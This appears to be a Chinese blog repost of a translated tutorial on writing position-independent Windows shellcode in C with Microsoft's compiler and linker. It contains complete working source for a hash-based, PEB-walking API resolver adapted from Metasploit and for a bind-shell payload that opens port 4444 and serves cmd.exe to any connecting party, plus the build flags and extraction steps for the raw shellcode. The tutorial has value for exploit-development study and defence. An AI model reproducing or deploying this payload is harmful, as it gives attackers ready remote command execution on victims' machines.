用 C 语言进一步优化 ShellCode

用 C 语言进一步优化 ShellCode

本文是由 IDF 实验室翻译,但由于原翻译文给出的英文原文链接失效,通过网页时光穿梭机还是找到了英文原文,此篇文章写的还不错 (排版很糟),恰好自己正在编写 shellcode,故作下记录来作参考

英文原文:Exploit Monday: Writing Optimized Windows Shellcode in C (archive.org)

1 引言

我得首先承认,编写 shellcode 真是让人郁闷极了。虽然可以利用些小技巧来减小 payload 的大小,但编写 shellcode 仍然会错误百出,难以维护。例如,我发现跟踪 x86 中寄存器的分配,确保 x86_64 栈的对齐真的是件蛋疼的事。最终我还是腻了,但回头想想:为啥就不能用 C 写 shellcode payload,让编译器和链接器来接管处理剩下的活呢?这样的话,只需写一次 payload,就能运用到任何的体系结构上 —— 像 x86、 x86_64 以及 ARM 这些。同时,也可以获得如下的好处:

  • 运用静态分析工具分析 payload;
  • 进行单元测试;
  • 利用编译器、链接器来优化 payload;
  • 编译器在速度、大小方面的优化比你在行;
  • 利用 Visual Studio 来写 payload,智能化万岁;

考虑到已经写了许多 Windows 下的 shellcode,我决定挑战一下仅用微软工具来生成位置无关的 shellcode。可最基本的问题是,微软的 C 编译器 cl.exe 无法生成位置无关的代码 (除了面向 Itanium 的 Visual C++ 编译器)。终究,我们需要依赖 C 代码的技巧和一些精心配置的编译器、链接器选项来完成任务。

2 编写 ShellCode 需要注意什么

编写 shellcode 时,无论是用 C 还是汇编,以下是必须要注意的地方:

1. 必须与位置无关

多数情况下,你无法提前知晓你的 shellcode 被加载到何处。所以,所有的分支指令以及那些对内存解引用的指令,都必须相对于加载的基址得以执行。gcc 编译器有生成位置独立代码的选项,但很不幸,微软的编译器没有。

2. Payload 需要自己解析外部引用

如果想要 payload 做些有用的事,就需要调用 Win32 API 函数。一般在可执行文件中,对外部符号的引用通过这样的方式得到:要么是加载器启动时遍历导入表获取的,要么就是运行时通过 GetProcAddress 动态获取。而 shellcode 既不能被加载器加载,也不能调用 GetProcAddress,因为它压根不知道 kernel32!GetProcAddress 的地址,典型的先有鸡还是先有蛋的难题啊。

为了获取到库函数的地址,shellcode 只能靠自己。在 shellcode 中,典型的解决方法是:某函数以 32 位的模块 hash 和函数名 hash 作为形参,获取到 PEB (进程环境块) 地址,遍历已加载模块的链表,扫描每个模块的导出函数表,对每个函数名进行 hash,并同提供的 hash 进行比对,如果匹配找到了,那么通过加载模块的基址加上 RVA 即可获取函数地址。很显然,这里为了节省篇幅,我省略了该过程的很多细节,不过这些已经被广泛 的使用 (如 Metasploit),也有很好的文档说明。

3. Payload 需要处理好栈和寄存器的状态,及时保存、恢复

这些在我们用 C 写 payload 时,就由编译器自动的完成了。

3 用 C 实现 GetProcAddressWithHash

上面提到的下载中,GetProcAddressWithHash 函数用于获取 Win32 API 导出函数的地址,由汇编版的 Metasploit block_api 调整而来:

#include <windows.h>
#include <winternl.h>
// This compiles to a ROR instruction
// This is needed because _lrotr() is an external reference
// Also, there is not a consistent compiler intrinsic to accomplish this across all three platforms.
#define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift)))
// Redefine PEB structures. The structure definitions in winternl.h are incomplete.
typedef struct _MY_PEB_LDR_DATA {
    ULONG Length;
    BOOL Initialized;
    PVOID SsHandle;
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;
} MY_PEB_LDR_DATA, * PMY_PEB_LDR_DATA;
typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;
    PVOID DllBase;
    PVOID EntryPoint;
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
} MY_LDR_DATA_TABLE_ENTRY, * PMY_LDR_DATA_TABLE_ENTRY;
HMODULE GetProcAddressWithHash(_In_ DWORD dwModuleFunctionHash) {
    PPEB PebAddress;
    PMY_PEB_LDR_DATA pLdr;
    PMY_LDR_DATA_TABLE_ENTRY pDataTableEntry;
    PVOID pModuleBase;
    PIMAGE_NT_HEADERS pNTHeader;
    DWORD dwExportDirRVA;
    PIMAGE_EXPORT_DIRECTORY pExportDir;
    PLIST_ENTRY pNextModule;
    DWORD dwNumFunctions;
    USHORT usOrdinalTableIndex;
    PDWORD pdwFunctionNameBase;
    PCSTR pFunctionName;
    UNICODE_STRING BaseDllName;
    DWORD dwModuleHash;
    DWORD dwFunctionHash;
    PCSTR pTempChar;
    DWORD i;
#if defined(_WIN64)
    PebAddress = (PPEB)__readgsqword(0x60);
#elif defined(_M_ARM)
    // I can assure you that this is not a mistake. The C compiler improperly emits the proper opcodes
    // necessary to get the PEB.Ldr address
    PebAddress = (PPEB)((ULONG_PTR)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0);
    __emit(0x00006B1B);
#else
    PebAddress = (PPEB)__readfsdword(0x30); 
#endif
    pLdr = (PMY_PEB_LDR_DATA)PebAddress->Ldr;
    pNextModule = pLdr->InLoadOrderModuleList.Flink;
    pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY)pNextModule;
    while (pDataTableEntry->DllBase != NULL)
    {
        dwModuleHash = 0;
        pModuleBase = pDataTableEntry->DllBase;
        BaseDllName = pDataTableEntry->BaseDllName;
        pNTHeader = (PIMAGE_NT_HEADERS)((ULONG_PTR)pModuleBase + ((PIMAGE_DOS_HEADER)pModuleBase)->e_lfanew);
        dwExportDirRVA = pNTHeader->OptionalHeader.DataDirectory[0].VirtualAddress;
        // Get the next loaded module entry
        pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY)pDataTableEntry->InLoadOrderLinks.Flink;
        // If the current module does not export any functions, move on to the next module.
        if (dwExportDirRVA == 0)
        {
            continue;
        }
        // Calculate the module hash
        for (i = 0; i < BaseDllName.MaximumLength; i++)
        {
            pTempChar = ((PCSTR)BaseDllName.Buffer + i);
            dwModuleHash = ROTR32(dwModuleHash, 13);
            if (*pTempChar >= 0x61)
            {
                dwModuleHash += *pTempChar - 0x20;
            }
            else
            {
                dwModuleHash += *pTempChar;
            }
        }
        pExportDir = (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)pModuleBase + dwExportDirRVA);
        dwNumFunctions = pExportDir->NumberOfNames;
        pdwFunctionNameBase = (PDWORD)((PCHAR)pModuleBase + pExportDir->AddressOfNames);
        for (i = 0; i < dwNumFunctions; i++)
        {
            dwFunctionHash = 0;
            pFunctionName = (PCSTR)(*pdwFunctionNameBase + (ULONG_PTR)pModuleBase);
            pdwFunctionNameBase++;
            pTempChar = pFunctionName;
            do
            {
                dwFunctionHash = ROTR32(dwFunctionHash, 13);
                dwFunctionHash += *pTempChar;
                pTempChar++;
            } while (*(pTempChar - 1) != 0);
            dwFunctionHash += dwModuleHash;
            if (dwFunctionHash == dwModuleFunctionHash)
            {
                usOrdinalTableIndex = *(PUSHORT)(((ULONG_PTR)pModuleBase + pExportDir->AddressOfNameOrdinals) + (2 * i));
                return (HMODULE)((ULONG_PTR)pModuleBase + *(PDWORD)(((ULONG_PTR)pModuleBase + pExportDir->AddressOfFunctions) + (4 * usOrdinalTableIndex)));
            }
        }
    }
    // All modules have been exhausted and the function was not found.
    return NULL;
}

从上到下,有几点需要注意:

1. 定义了 ROTR32 宏

Metasploit 版本的实现中使用了一个循环右移 hash 函数,可在 C 中没有循环右移的运算符。有几个循环右移的编译器指令,但无法在不同的处 理器体系结构中保持一致。ROTR32 宏定义利用了 C 语言中可用的逻辑运算符实现了循环右移的功能。更酷的是,编译器会晓得该宏实现循环右移的操作,并将 其编译成单条循环右移汇编指令。真是太棒了!

2. 重定义了结构体

这两个结构体在 winternl.h 中都有定义,但微软的公开定义不完整,所以我按照自己所需进行了重定义。

3. 根据所针对的处理器体系结构选择不同的方法来获取 PEB 地址

PEB 地址的获取是获取导出函数地址的第一步。PEB 是个结构体,它包含了几个指向进程已加载模块的指针。在 x86 和 x86_64 中,PEB 地址可分别通过解引用 fs、gs 段寄存器的某个偏移获取。在 ARM 上,通过读取系统控制处理器 (CP15) 中特定的寄存器获取。幸运的是,编译器内置了对每个处 理器体系结构的处理。不管怎样,编译器无法生成正确的 ARM 汇编指令,所以我以不合常规的方式对指令进行了调整。

4 用 C 实现基本的 Payload

这里我用一个简单的 bind shell payload 为例,下面是我用 C 的实现:

#define WIN32_LEAN_AND_MEAN
// Disable warning about 'nameless struct/union'
#pragma warning( disable : 4201 ) 
#include "GetProcAddressWithHash.h"
#include "64BitHelper.h"
#include <windows.h>
#include <winsock2.h>
#include <intrin.h>
// Redefine Win32 function signatures. This is necessary because the output
// of GetProcAddressWithHash is cast as a function pointer. Also, this makes
// working with these functions a joy in Visual Studio with Intellisense.
#define BIND_PORT 4444
#define HTONS(x) ( ( (( (USHORT)(x) ) >> 8 ) & 0xff) | ((( (USHORT)(x) ) & 0xff) << 8) )
typedef HMODULE(WINAPI* FuncLoadLibraryA) (
	_In_z_ LPTSTR lpFileName
);
typedef int (WINAPI* FuncWsaStartup) (
	_In_ WORD wVersionRequested,
	_Out_ LPWSADATA lpWSAData
);
typedef SOCKET(WINAPI* FuncWsaSocketA) (
	_In_  int af,
	_In_  int type,
	_In_  int protocol,
	_In_opt_ LPWSAPROTOCOL_INFO lpProtocolInfo,
	_In_  GROUP g,
	_In_  DWORD dwFlags
);
typedef int (WINAPI* FuncBind) (
	_In_ SOCKET s,
	_In_ const struct sockaddr* name,
	_In_ int namelen
);
typedef int (WINAPI* FuncListen) (
	_In_ SOCKET s,
	_In_ int backlog
);
typedef SOCKET(WINAPI* FuncAccept) (
	_In_  SOCKET s,
	_Out_opt_ struct sockaddr* addr,
	_Inout_opt_ int* addrlen
);
typedef int (WINAPI* FuncCloseSocket) (
	_In_ SOCKET s
);
typedef BOOL(WINAPI* FuncCreateProcess) (
	_In_opt_ LPCTSTR lpApplicationName,
	_Inout_opt_ LPTSTR lpCommandLine,
	_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
	_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
	_In_  BOOL bInheritHandles,
	_In_  DWORD dwCreationFlags,
	_In_opt_ LPVOID lpEnvironment,
	_In_opt_ LPCTSTR lpCurrentDirectory,
	_In_  LPSTARTUPINFO lpStartupInfo,
	_Out_  LPPROCESS_INFORMATION lpProcessInformation
);
typedef DWORD(WINAPI* FuncWaitForSingleObject) (
	_In_ HANDLE hHandle,
	_In_ DWORD dwMilliseconds
);
// Write the logic for the primary payload here
// Normally, I would call this 'main' but if you call a function 'main', link.exe requires that you link against the CRT
// Rather, I will pass a linker option of "/ENTRY:ExecutePayload" in order to get around this issue.
VOID ExecutePayload(VOID) {
	FuncLoadLibraryA MyLoadLibraryA;
	FuncWsaStartup MyWSAStartup;
	FuncWsaSocketA MyWSASocketA;
	FuncBind MyBind;
	FuncListen MyListen;
	FuncAccept MyAccept;
	FuncCloseSocket MyCloseSocket;
	FuncCreateProcess MyCreateProcessA;
	FuncWaitForSingleObject MyWaitForSingleObject;
	WSADATA WSAData;
	SOCKET s;
	SOCKET AcceptedSocket;
	struct sockaddr_in service;
	STARTUPINFO StartupInfo;
	PROCESS_INFORMATION ProcessInformation;
	// Strings must be treated as a char array in order to prevent them from being stored in
	// an .rdata section. In order to maintain position independence, all data must be stored
	// in the same section. Thanks to Nick Harbour for coming up with this technique:
	// http://nickharbour.wordpress.com/2010/07/01/writing-shellcode-with-a-c-compiler/
	char cmdline[] = { 'c', 'm', 'd', 0 };
	char module[] = { 'w', 's', '2', '_', '3', '2', '.', 'd', 'l', 'l', 0 };
	// Initialize structures. SecureZeroMemory is forced inline and doesn't call an external module
	SecureZeroMemory(&StartupInfo, sizeof(StartupInfo));
	SecureZeroMemory(&ProcessInformation, sizeof(ProcessInformation));
#pragma warning( push )
#pragma warning( disable : 4055 ) // Ignore cast warnings
	// Should I be validating that these return a valid address? Yes... Meh.
	MyLoadLibraryA = (FuncLoadLibraryA)GetProcAddressWithHash(0x0726774C);
	// You must call LoadLibrary on the winsock module before attempting to resolve its exports.
	MyLoadLibraryA((LPTSTR)module);
	MyWSAStartup = (FuncWsaStartup)GetProcAddressWithHash(0x006B8029);
	MyWSASocketA = (FuncWsaSocketA)GetProcAddressWithHash(0xE0DF0FEA);
	MyBind = (FuncBind)GetProcAddressWithHash(0x6737DBC2);
	MyListen = (FuncListen)GetProcAddressWithHash(0xFF38E9B7);
	MyAccept = (FuncAccept)GetProcAddressWithHash(0xE13BEC74);
	MyCloseSocket = (FuncCloseSocket)GetProcAddressWithHash(0x614D6E75);
	MyCreateProcessA = (FuncCreateProcess)GetProcAddressWithHash(0x863FCC79);
	MyWaitForSingleObject = (FuncWaitForSingleObject)GetProcAddressWithHash(0x601D8708);
#pragma warning( pop )
	MyWSAStartup(MAKEWORD(2, 2), &WSAData);
	s = MyWSASocketA(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
	service.sin_family = AF_INET;
	service.sin_addr.s_addr = 0; // Bind to 0.0.0.0
	service.sin_port = HTONS(BIND_PORT);
	MyBind(s, (SOCKADDR*)&service, sizeof(service));
	MyListen(s, 0);
	AcceptedSocket = MyAccept(s, NULL, NULL);
	MyCloseSocket(s);
	StartupInfo.hStdError = (HANDLE)AcceptedSocket;
	StartupInfo.hStdOutput = (HANDLE)AcceptedSocket;
	StartupInfo.hStdInput = (HANDLE)AcceptedSocket;
	StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
	StartupInfo.cb = 68;
	MyCreateProcessA(0, (LPTSTR)cmdline, 0, 0, TRUE, 0, 0, 0, &StartupInfo, &ProcessInformation);
	MyWaitForSingleObject(ProcessInformation.hProcess, INFINITE);
}

写 payload 时,有几点我需要提醒一下,以便满足位置无关代码的需求:

1. 我把 HTONS 定义成了宏

将其定义为宏,相对于调用 ws2_32.dll!htons 会更简单一点。此外,HTONS 本身所做的就是将 USHORT 从主机序转化为网络序,所以定义为宏会更合适点。

2. 另定义了 Win32 API 函数

这是必须的,因为 GetProcAddressWithHash 的调用需要转换为函数指针。此外,在 Visual Studio 中调用这些函数指针就和调用普通的 Win32 函数一样方便。这是用汇编编写时的边猜测、边检查所不能比的。

3. ExecutePayload 函数实现了 bind shell 的基本逻辑功能

通常都需要调用 main 函数。我所遇到的一个问题就是,当链接器发现 main 函数时,就会链接 C 运行库。很明显,shellcode 不应该也没必要用 C 运行库。所以,将入口点命名为 main 之外的名称,并显式地告诉链接器入口点函数,以免链接了 C 运行时库。

4. 将 “cmd” 和 “ws2_32.dll” 显式地声明为 null 结尾的字符数组

该方法首先由 Nick Harbour 提出,使得编译器在栈区保存字符串。默认地,字符串存储在二进制文件的 .rdata 段中,任何对这些的字符的引用都在可执行文件中进行了重定位。将字符串存放在栈区,使得引用做到了位置无关。

5. SecureZeroMemory 用于初始化栈区变量

SecureZeroMemory 功能和 memset 一样,是内联函数,所以省得我花力气去获取 memset 的地址了。

6. Payload 中剩余部分就是一般的 C 了,只不过有点恶意而已

5 确保 64 位 ShellCode 中的栈对齐

32 位体系结构 (如 x86 和 ARMv7) 要求函数调用时栈上 4 字节对齐。shellcode 以 4 字节对齐这一点是可以得到保证的。而 64 位的 shellcode,需要 16 字节的栈对齐。这是由使用 128 位 XMM 寄存器所决定的。已写过 64 位 shellcode 的朋友可能经历过调用 Win32 函数时因指令使用了 XMM 寄存器而 crash 的情况,这正是栈没有对齐的缘故。

可执行文件加载时在 C 运行库初始化期间得到了对齐,而 shellcode 就没这么幸运了。所以我写了一小段汇编来确保 shellcode 在 64 位机 器上能够正确的栈对齐。在 Visual Studio 编译前,我将此 shellcode 用 mI64 进行了汇编,并把所得目标文件作为链接的一部分。

下面是对齐的实现代码:

EXTRN ExecutePayload:PROC
PUBLIC  AlignRSP   ; Marking AlignRSP as PUBLIC allows for the function
     ; to be called as an extern in our C code.
_TEXT SEGMENT
; AlignRSP is a simple call stub that ensures that the stack is 16-byte aligned prior
; to calling the entry point of the payload. This is necessary because 64-bit functions
; in Windows assume that they were called with 16-byte stack alignment. When amd64
; shellcode is executed, you can't be assured that you stack is 16-byte aligned. For example,; if your shellcode lands with 8-byte stack alignment, any call to a Win32 function will likely
; crash upon calling any ASM instruction that utilizes XMM registers (which require 16-byte); alignment.AlignRSP PROC
 push rsi    ; Preserve RSI since we're stomping on it
 mov  rsi, rsp  ; Save the value of RSP so it can be restored
 and  rsp, 0FFFFFFFFFFFFFFF0h ; Align RSP to 16 bytes
 sub  rsp, 020h  ; Allocate homing space for ExecutePayload
 call ExecutePayload ; Call the entry point of the payload
 mov  rsp, rsi  ; Restore the original value of RSP
 pop  rsi    ; Restore RSI
 ret      ; Return to caller
AlignRSP ENDP
_TEXT ENDS
END

在这里,保存了原始栈值,将栈指针 RSP 进行与操作,以便获得 16 字节对齐,分配空间,然后调用原来的入口函数 ExecutePayload。

还用 C 写了一个小的函数来调用 AlignRSP:

#if defined(_WIN64)
extern VOID AlignRSP( VOID );
VOID Begin( VOID ){
    // Call the ASM stub that will guarantee 16-byte stack alignment.
    // The stub will then call the ExecutePayload.
    AlignRSP();
}
#endif

这个函数将作为链接器指定的入口函数,稍后我来简单的解释下为何该函数是必须的。

6 编写 ShellCode

在 Visual Studio 2012 项目中使用如下的编译器命令行编译选项

/GS- /TC /GL /W4 /O1 /nologo /Zl /FA /Os

这里将每个选项都解释一下,它们影响着生成的 shellcode:

  • /GS-:禁用栈区缓冲溢出检查。如果开启了,会调用外部的栈区处理函数,破坏了 shellcode 的位置无关性;
  • /TC:告诉编译器将所有文件当作 C 源码文件。该选项的隐含意思是所有的局部变量都要定义在函数的开头,否则,编译时会出错;
  • /GL:对程序进行整体优化。该选项告诉链接器 (通过 /LTGC 选项)在函数调用间进行优化。这里我想对 shellcode 进行完全的优化;
  • /W4:开启最高的告警等级。这是好的习惯;
  • /O1:获取较小而非快的代码,这正是 shellcode 的理想情况;
  • /FA:输出汇编列表文件。这不是必须的,我比较喜欢对编译器生成的汇编代码进行验证;
  • /Zl:从目标文件中去除默认的 C 运行库,这是告诉链接器不要链接 C 运行库;
  • /Os:另一种让编译器生成小代码的方式;

7 ShellCode 的链接

下面的链接器 (linker.exe) 选项分别用于 x86/ARM 和 x86_64:

/LTCG /ENTRY:"ExecutePayload" /OPT:REF /SAFESEH:NO /SUBSYSTEM:CONSOLE /MAP /ORDER:@"function_link_order.txt" /OPT:ICF /NOLOGO /NODEFAULTLIB
/LTCG "x64\Release\\AdjustStack.obj" /ENTRY:"Begin" /OPT:REF /SAFESEH:NO /SUBSYSTEM:CONSOLE /MAP /ORDER:@"function_link_order64.txt" /OPT:ICF /NOLOGO /NODEFAULTLIB

这里将每个选项都来解释一下,它们影响着生成的 shellcode。

  • /LTCG:开启链接器的全部优化功能。编译器在函数间调用优化方面几乎不起作用,这是因为编译器是以函数为基础的。所以,链接器就很适合进行函数间调用的优化,因为它处理所有由编译器生成的目标文件;
  • /ENTRY:指定文件的入口点。在 x86 和 ARM 中就是实现 bind shell 逻辑的 ExecutePayload 函数。而在 x86_64 中,则是 Begin 函数,它调用 AlignRSP 函数进行栈对齐操作。它之所以是必须的,是因为最终要生成 shellcode, 我们不得不通过 /ORDER 显式地设置链接顺序。而在微软的链接器中是不允许你为外部函数指定链接顺序的。为了解决该问题,我简单的将 AlignRSP 进 行了封装。Begin 作为链接的第一个函数。这样,它就是 shellcode 中第一个调用的;
  • /OPT:REF:清除那些从未使用的函数、数据。我们希望 shellcode 越小越好。通过该选项就可以通过清除无用的函数、数据来减小 shellcode 大小;
  • /SAFESEH:NO:不生成 SafeSEH 处理程序。Shellcode 没有必要注册异常处理;
  • /SUBSYSTEM:CONSOLE:只要 shellcode 能运行,是啥子系统就无所谓了。设置成 “CONSOLE”,可以利用命令行进行测试;
  • /MAP:生成 map 文件。该文件用于获取 shellcode 的大小;
  • /ORDER:因为要生成 shellcode,所以函数链接的顺序就尤为重要。起初我以为入口点函数会是第一个链接的。但并不是这样的。/ORDER 选项指定了一个包含函数链接顺序的文件。你会发现文件中列表的第一个就是入口点函数;
  • /OPT:ICF:删除冗余的函数。为可选项;
  • /NODEFAULTLIB:显式的告诉链接器在解析外部引用时,不要使用默认的库。如果你在代码中有外部引用,该选项就非常有用了。链接器会抛出错误,引起你的注意;

8 提取 ShellCode

代码编译、链接之后,最后一步就是从exe文件中提取出 shellcode 了。这需要一个解析 PE 文件的工具,从代码段中提取出相关字节。方便的是,Get-PEHeader 已经解决了此问题。要说明的一点是如果你要提取出整个的代码段,剩下的会被 0 填充掉。所以我写了另外一个脚本来解析 map 文件,它包含了代码段中的实际长度。

如果大伙喜欢分析 PE 文件,好好的分析一下所生成的 exe 文件真的很值得。仅包含代码段,可选头的数据目录中没有任何的数据。这正是我所追寻的 —— 没有任何重定位,额外的节或者导入表的二进制文件。

9 编译 PIC_Binshell

提供的 PIC_Bindshell.zip 中有个 Visual Studio 2012 项目,在 VS2012 Express 和旗舰版中测试通过。在 Visual Studio 中加载 sln 文件,选择相应的体系结构,然后编译。输出一个 exe 文件和一个 shellcode payload 文件。

Visual Studio 2012 的 Express 版本不支持对 ARM 的编译。如果你是第一次编译 ARM,会出现如下的错误:

C:\Program Files (x86)\MSBuild\Microsoft.Cpp\v4.0\V110\Platforms\ARM\PlatformToolsets\v110\Microsoft.Cpp.ARM.v110.targets(36,5): error MSB8022: Compiling Desktop applications for the ARM platform is not supported.

C:\Program Files(x86)\Microsoft Visual Studio 11.0\VC\includecrtdefs.h 中删除下面一行:

#error Compiling Desktop applications for the ARM platform is not supported.

删除这些行,重启 Visual Studio,就解决了。

10 写在最后

对微软编译器、链接器的协同工作有个深刻的理解能帮我们用 C 写出完全优化的 Windows Shellcode,同时能够支持任意的处理器架构。但这并不是说你就没有必要去深刻理解汇编语言。只是我们没必要浪费时间一点点的写大量的汇编代码。同时我也相信编译器有一天会胜过大脑的。

对了,我的 64 位 shellcode 中用到了 XMM 寄存器,你用了吗?

图片[1]-用 C 语言进一步优化 ShellCode-零度非安全
© 版权声明
THE END
喜欢就支持一下吧
点赞6赞赏 分享
评论 抢沙发

请登录后发表评论